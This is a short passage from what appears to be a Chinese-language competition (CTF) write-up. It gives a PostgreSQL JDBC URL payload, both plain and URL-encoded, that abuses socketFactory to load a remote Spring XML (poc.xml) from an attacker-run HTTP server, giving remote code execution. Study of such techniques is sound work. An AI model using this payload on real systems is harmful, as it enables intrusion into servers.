前面可以用httpd快速开放一个服务即可。 payload:
1 /testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://host.docker.internal:8000/poc.xml&username=123&password=123
url编码:
1 /testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%68%6f%73%74%2e%64%6f%63%6b%65%72%2e%69%6e%74%65%72%6e%61%6c%3a%38%30%30%30%2f%70%6f%63%2e%78%6d%6c&username=123&password=123
或者生成payload:
总结 感觉这个比赛的东西很适合学习,层层递进。像我这样的Java苦手也可以复现,但是理解就需要后续的继续努力了。